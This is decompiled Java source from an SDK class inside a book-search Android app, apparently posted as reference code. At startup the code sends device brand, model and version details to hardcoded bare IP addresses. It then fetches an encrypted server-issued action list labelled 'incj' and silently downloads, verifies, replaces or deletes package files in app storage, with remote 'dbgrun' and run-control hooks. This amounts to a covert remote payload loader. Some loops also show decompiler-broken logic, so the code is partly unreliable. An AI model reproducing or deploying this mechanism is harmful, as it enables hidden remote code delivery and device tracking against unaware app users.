搜书大师 v23.2版本的 MD5 值为:5ee433f6456b6278bd6e80a5d44df55e

以下内容为反编译后的 cm.java 源代码,内容仅作参考


package com.ksdk.ssds.s;

import android.content.Context;
import android.content.SharedPreferences;
import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.Message;
import android.text.TextUtils;
import com.base.fm.util.IOUtils;
import com.bytedance.embedapplog.AppLog;
import com.ksdk.ssds.s.co;
import com.lygame.aaa.ir;
import com.lygame.aaa.is;
import com.tencent.cos.common.COSHttpResponseKey;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import org.json.JSONArray;
import org.json.JSONObject;

public class cm {
    public static final String a = "InCj";
    public static cm b = null;
    public static final String i = "curVer";
    public static final int j = 1;
    public static final int k = 2;
    public static final int l = 3;
    public static final int m = 4;
    public static final String n = "request";
    public static final String o = "requstFail";
    public static final String p = "startDownload";
    public static final String q = "startDownloadFail";
    public static final String r = "downloadSuccess";
    public static final String s = "downloadFail";
    public static final String t = "startDelete";
    public static final String u = "deleteSuccess";
    public static final String v = "deleteFail";
    public static final String w = "CjsException";
    public String f;
    public Context c = null;
    public d d = null;
    public HandlerThread e = null;
    public ArrayList<c> g = new ArrayList<>();
    public SharedPreferences h = null;

    public class a {
        public String a;
        public String b;
        public String c;
        public int d;
        public boolean e;
        public boolean f;
        public int g;
        public int h;
        public String i;

        public a() {
            this.a = "";
            this.b = "";
            this.c = "";
            this.e = false;
            this.f = true;
            this.g = 0;
            this.h = 0;
            this.i = null;
        }

        public void a(JSONObject jSONObject) {
            jSONObject.put("url", this.a);
            jSONObject.put("packageName", this.b);
            jSONObject.put("dstPackageName", this.c);
            jSONObject.put("versionCode", this.d);
            jSONObject.put("onlyExist", this.e);
            jSONObject.put("onlyWifi", this.f);
            jSONObject.put("actid", this.g);
            jSONObject.put("tagid", this.h);
            jSONObject.put("md5", this.i);
        }

        public void b(JSONObject jSONObject) {
            if (jSONObject.has("url")) {
                this.a = jSONObject.getString("url");
            }
            if (jSONObject.has("packageName")) {
                this.b = jSONObject.getString("packageName");
            }
            if (jSONObject.has("dstPackageName")) {
                this.c = jSONObject.getString("dstPackageName");
            }
            String str = this.c;
            if (str == null || str.length() == 0) {
                this.c = this.b;
            }
            if (jSONObject.has("versionCode")) {
                this.d = jSONObject.getInt("versionCode");
            }
            if (jSONObject.has("onlyExist")) {
                this.e = jSONObject.getBoolean("onlyExist");
            }
            if (jSONObject.has("onlyWifi")) {
                this.f = jSONObject.getBoolean("onlyWifi");
            }
            if (jSONObject.has("actid")) {
                this.g = jSONObject.getInt("actid");
            }
            if (jSONObject.has("tagid")) {
                this.h = jSONObject.getInt("tagid");
            }
            if (jSONObject.has("md5")) {
                this.i = jSONObject.getString("md5");
            }
        }
    }

    public class b {
        public String a;
        public ArrayList<a> b;

        public b() {
            this.b = new ArrayList<>();
        }

        public void a(JSONObject jSONObject) {
            jSONObject.put("version", this.a);
            JSONArray jSONArray = new JSONArray();
            Iterator<a> it = this.b.iterator();
            while (it.hasNext()) {
                a next = it.next();
                JSONObject jSONObject2 = new JSONObject();
                next.a(jSONObject2);
                jSONArray.put(jSONObject2);
            }
            jSONObject.put("cjActions", jSONArray);
        }

        public void b(JSONObject jSONObject) {
            if (jSONObject.has("version")) {
                this.a = jSONObject.getString("version");
            }
            this.b.clear();
            JSONArray jSONArray = jSONObject.getJSONArray("cjActions");
            for (int i = 0; i < jSONArray.length(); i++) {
                JSONObject jSONObject2 = jSONArray.getJSONObject(i);
                a aVar = new a();
                aVar.b(jSONObject2);
                this.b.add(aVar);
            }
        }
    }

    public class c {
        public String a;
        public int b;
        public String c;

        public c() {
        }
    }

    public class d extends Handler {
        public d(Looper looper) {
            super(looper);
        }

        @Override
        public void handleMessage(Message message) {
            try {
                int i = message.what;
                if (i == 1) {
                    cm cmVar = cm.this;
                    cmVar.h = cmVar.c.getSharedPreferences("incj_action_ver", 0);
                    cm cmVar2 = cm.this;
                    cmVar2.f = cmVar2.h.getString("curVer", "0");
                    cm.this.e();
                } else if (i == 2) {
                    cm.this.b((JSONObject) message.obj);
                } else if (i == 3) {
                    try {
                        ((File) message.obj).delete();
                    } catch (Throwable th) {
                        th.printStackTrace();
                    }
                } else if (i == 4) {
                    try {
                        String b = cm.b(cm.this.c);
                        if (b != null) {
                            cm cmVar3 = cm.this;
                            cmVar3.a(cmVar3.c, b);
                        }
                    } catch (Throwable unused) {
                    }
                }
                super.handleMessage(message);
            } catch (Throwable th2) {
                th2.printStackTrace();
            }
        }
    }

    public static synchronized cm a() {
        cm cmVar;
        synchronized (cm.class) {
            if (b == null) {
                b = new cm();
            }
            cmVar = b;
        }
        return cmVar;
    }

    private String a(a aVar) {
        return aVar.c + "_" + aVar.d;
    }

    private String a(String str) {
        Iterator<c> it = this.g.iterator();
        while (it.hasNext()) {
            c next = it.next();
            if (str.equals(next.a)) {
                return next.c;
            }
        }
        return null;
    }

    public void a(Context context, String str) {
        try {
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            context.getSharedPreferences("fm_init", 0).edit().putString("Map", str).commit();
        } catch (Throwable unused) {
        }
    }

    private void a(String str, a aVar, String str2) {
        try {
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("action", str);
            jSONObject.put("name", aVar != null ? aVar.c : "");
            jSONObject.put("version", aVar != null ? aVar.d : 0);
            jSONObject.put("actid", aVar != null ? aVar.g : 0);
            jSONObject.put("tagid", aVar != null ? aVar.h : 0);
            jSONObject.put("msg", str2);
            cr.a().a(1, "frame_dl_log", jSONObject.toString());
        } catch (Throwable th) {
            cx.f(th.getMessage());
        }
    }

    public void a(JSONObject jSONObject) {
        d dVar;
        if (this.c == null || (dVar = this.d) == null) {
            return;
        }
        dVar.sendMessage(dVar.obtainMessage(2, jSONObject));
    }

    private boolean a(File file) {
        try {
            if (!file.exists() || file.delete()) {
                return true;
            }
            d dVar = this.d;
            dVar.sendMessageDelayed(dVar.obtainMessage(3, file), 60000L);
            return false;
        } catch (Throwable unused) {
            return false;
        }
    }

    public static String b(Context context) {
        JSONObject optJSONObject;
        System.currentTimeMillis();
        try {
            String str = Build.BRAND;
            if (str == null) {
                str = "";
            }
            String encode = URLEncoder.encode(str, "UTF-8");
            String str2 = Build.MODEL;
            String format = String.format(Locale.ENGLISH, "http://139.129.77.138:8003/isfr?brand=%s&model=%s&sdk=%d&appver=%d&mainver=%d&app=%d", encode, URLEncoder.encode(str2 != null ? str2 : "", "UTF-8"), Integer.valueOf(Build.VERSION.SDK_INT), Integer.valueOf(context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionCode), Integer.valueOf(ci.g), Integer.valueOf(context.getPackageName().hashCode()));
            String property = System.getProperty("http.agent");
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            df.a(format, new HashMap(), byteArrayOutputStream, property);
            JSONObject jSONObject = new JSONObject(byteArrayOutputStream.toString());
            if (jSONObject.optInt(COSHttpResponseKey.CODE, 0) != 200 || (optJSONObject = jSONObject.optJSONObject("data")) == null) {
                return null;
            }
            return optJSONObject.toString();
        } catch (Throwable unused) {
            return null;
        }
    }

    private void b(final Context context, Looper looper) {
        ck.a().a(context);
        cj.a().a(context);
        cr.a().a(context, true);
        cl.a().a(context, looper);
        co.a().b(cj.a, new co.a() {
            @Override
            public void a() {
                cx.b(cm.a, "crash-ctrl no action");
                cj.a().a(cm.this.c, null);
            }

            @Override
            public void a(JSONObject jSONObject) {
                cx.b(cm.a, "crash-ctrl action:" + jSONObject);
                cj.a().a(cm.this.c, jSONObject);
            }
        });
        co.a().b("incj", new co.a() {
            @Override
            public void a() {
                cm.this.c();
            }

            @Override
            public void a(JSONObject jSONObject) {
                cm.this.a(jSONObject);
            }
        });
        co.a().b("dbgrun", new co.a() {
            @Override
            public void a() {
                cl.a().c();
            }

            @Override
            public void a(JSONObject jSONObject) {
                cl.a().a(jSONObject);
            }
        });
        co.a().b(ck.a, new co.a() {
            @Override
            public void a() {
                cx.b(cm.a, "fm-run-ctrl no action!");
                ck.a().a((JSONObject) null);
            }

            @Override
            public void a(JSONObject jSONObject) {
                cx.b(cm.a, "fm-run-ctrl action:" + jSONObject);
                ck.a().a(jSONObject);
            }
        });
        co.a().a(context, "http://47.105.92.33:8001/hp/t", looper, new co.c() {
            @Override
            public void a(cp cpVar) {
                cpVar.a("bugly", Integer.valueOf(ch.a(context)));
                cpVar.a(AppLog.UMENG_CATEGORY, Integer.valueOf(ch.b(context)));
            }

            @Override
            public void a(boolean z) {
            }
        });
    }

    public void b(JSONObject jSONObject) {
        String str;
        Iterator<c> it;
        boolean z;
        boolean z2;
        String str2;
        String str3;
        ByteArrayInputStream byteArrayInputStream;
        try {
            e();
            String optString = jSONObject.optString("url");
            String optString2 = jSONObject.optString(ir.f);
            if (optString == null || optString.length() <= 0) {
                a(n, (a) null, "no url");
            } else {
                try {
                    if (this.g.size() > 0) {
                        JSONArray jSONArray = new JSONArray();
                        Iterator<c> it2 = this.g.iterator();
                        while (it2.hasNext()) {
                            c next = it2.next();
                            JSONObject jSONObject2 = new JSONObject();
                            jSONObject2.put(next.a, next.b);
                            jSONArray.put(jSONObject2);
                        }
                        a(n, (a) null, jSONArray.toString());
                        byteArrayInputStream = new ByteArrayInputStream(dd.a(ci.c, ci.d, ci.e, jSONArray.toString().getBytes()).getBytes("utf-8"));
                    } else {
                        a(n, (a) null, "no ppk");
                        byteArrayInputStream = null;
                    }
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    df.a(optString, byteArrayInputStream, byteArrayOutputStream, (Map<String, String>) null);
                    optString2 = byteArrayOutputStream.toString();
                } catch (Throwable th) {
                    cx.f(th.getMessage());
                    a(o, (a) null, "GET error:" + th.getMessage());
                    return;
                }
            }
            if (TextUtils.isEmpty(optString2)) {
                cx.e(a, "load incj action fail, param=null");
                a(o, (a) null, "param=null");
                return;
            }
            try {
                String string = new JSONObject(optString2).getString("data");
                if (TextUtils.isEmpty(string)) {
                    a(o, (a) null, "data=null");
                    cx.f("incj data is null");
                    return;
                }
                String a2 = dd.a(ci.c, ci.d, ci.e, string);
                b bVar = new b();
                bVar.b(new JSONObject(a2));
                if (this.f.equals(bVar.a)) {
                    a(o, (a) null, "version unchanged");
                    cx.e("incj version unchanged:" + this.f);
                    return;
                }
                Iterator<a> it3 = bVar.b.iterator();
                while (it3.hasNext()) {
                    a next2 = it3.next();
                    if (next2.b.equals(next2.c)) {
                        a(p, next2, "");
                        if (!next2.f || da.b(this.c)) {
                            Iterator<c> it4 = this.g.iterator();
                            while (true) {
                                z = true;
                                z2 = false;
                                if (!it4.hasNext()) {
                                    z = false;
                                    break;
                                }
                                c next3 = it4.next();
                                if (next2.c.equals(next3.a) && next2.d == next3.b) {
                                    break;
                                }
                                if (next2.c.equals(next3.a)) {
                                    z = false;
                                    z2 = true;
                                    break;
                                }
                            }
                            if (z) {
                                str2 = "already exist";
                            } else if (!next2.e || z2) {
                                String a3 = a(next2.c);
                                File file = new File(d(), a(next2));
                                File file2 = new File(d(), a(next2).hashCode() + is.e.b);
                                String a4 = df.a(next2.a, (Map<String, String>) null, file2, (String) null);
                                if (com.ksdk.ssds.manager.b.q.equals(a4)) {
                                    if (cv.b(file2, next2.i)) {
                                        if (file.exists()) {
                                            file.delete();
                                        }
                                        if (file2.renameTo(file)) {
                                            if (!TextUtils.isEmpty(a3)) {
                                                a(new File(a3));
                                                Iterator<c> it5 = this.g.iterator();
                                                while (true) {
                                                    if (!it5.hasNext()) {
                                                        break;
                                                    }
                                                    c next4 = it5.next();
                                                    if (next4.c.equals(a3)) {
                                                        this.g.remove(next4);
                                                        break;
                                                    }
                                                }
                                            }
                                            c cVar = new c();
                                            cVar.a = next2.c;
                                            cVar.b = next2.d;
                                            cVar.c = file.getAbsolutePath();
                                            this.g.add(cVar);
                                            String str4 = "download ok " + next2.c + "_" + next2.d;
                                            a(r, next2, "");
                                        } else {
                                            file2.delete();
                                            str3 = "rename fail";
                                        }
                                    } else {
                                        file2.delete();
                                        str3 = "md5 check fail";
                                    }
                                    a(s, next2, str3);
                                } else {
                                    file2.delete();
                                    a(s, next2, a4);
                                }
                            } else {
                                str2 = "not exist";
                            }
                        } else {
                            cx.f("onlyWifi but not wifi. continue!");
                            str2 = "no wifi";
                        }
                        a(q, next2, str2);
                    } else {
                        a(t, next2, "");
                        File file3 = new File(d(), a(next2));
                        if (!file3.exists()) {
                            str = "file not exist";
                        } else if (a(file3)) {
                            a(u, next2, "");
                            String str5 = "delete " + next2.c + "_" + next2.d;
                            String absolutePath = file3.getAbsolutePath();
                            it = this.g.iterator();
                            while (true) {
                                if (!it.hasNext()) {
                                    c next5 = it.next();
                                    if (next5.c.equals(absolutePath)) {
                                        this.g.remove(next5);
                                        break;
                                    }
                                }
                            }
                        } else {
                            str = "delete fail. delay delete";
                        }
                        a(v, next2, str);
                        String absolutePath2 = file3.getAbsolutePath();
                        it = this.g.iterator();
                        while (true) {
                            if (!it.hasNext()) {
                                break;
                            }
                        }
                    }
                }
                this.h.edit().putString("curVer", bVar.a).apply();
            } catch (Throwable th2) {
                cx.f(th2.getMessage());
                a(o, (a) null, "parse data error:" + th2.getMessage());
            }
        } catch (Throwable th3) {
            a(w, (a) null, th3.getMessage());
            th3.printStackTrace();
        }
    }

    public void c() {
        IOUtils.e(d());
    }

    private File d() {
        return new File(this.c.getFilesDir(), ce.c);
    }

    public void e() {
        if (this.g == null) {
            this.g = new ArrayList<>();
        }
        this.g.clear();
        File d2 = d();
        File[] listFiles = d2.listFiles();
        if (!d2.exists() || listFiles == null || listFiles.length <= 0) {
            return;
        }
        for (File file : listFiles) {
            if (!file.isDirectory() && !file.getAbsolutePath().endsWith(".zip")) {
                if (!file.getAbsolutePath().endsWith(is.e.b)) {
                    c cVar = new c();
                    String name = file.getName();
                    try {
                        cVar.a = name.substring(0, name.indexOf("_"));
                        boolean z = true;
                        cVar.b = Integer.parseInt(name.substring(name.indexOf("_") + 1));
                        cVar.c = file.getAbsolutePath();
                        int i2 = 0;
                        while (true) {
                            if (i2 >= this.g.size()) {
                                break;
                            }
                            if (!cVar.a.equals(this.g.get(i2).a)) {
                                i2++;
                            } else if (cVar.b <= this.g.get(i2).b) {
                                a(file);
                                z = false;
                            } else {
                                a(new File(this.g.get(i2).c));
                                this.g.remove(i2);
                            }
                        }
                        if (z) {
                            this.g.add(cVar);
                        }
                    } catch (Throwable unused) {
                    }
                }
                a(file);
            }
        }
    }

    public void a(Context context, Looper looper) {
        if (this.c != null || context == null) {
            return;
        }
        this.c = context;
        if (looper == null || looper == Looper.getMainLooper()) {
            HandlerThread handlerThread = new HandlerThread("sc_incj");
            this.e = handlerThread;
            handlerThread.start();
            looper = this.e.getLooper();
        }
        d dVar = new d(looper);
        this.d = dVar;
        dVar.sendMessage(dVar.obtainMessage(1));
        this.d.sendEmptyMessageDelayed(4, 100L);
        b(this.c, looper);
    }

    public void b() {
        if (this.c == null) {
            return;
        }
        this.d.removeCallbacksAndMessages(null);
        HandlerThread handlerThread = this.e;
        if (handlerThread != null) {
            handlerThread.quit();
            this.e = null;
        }
        this.c = null;
    }
}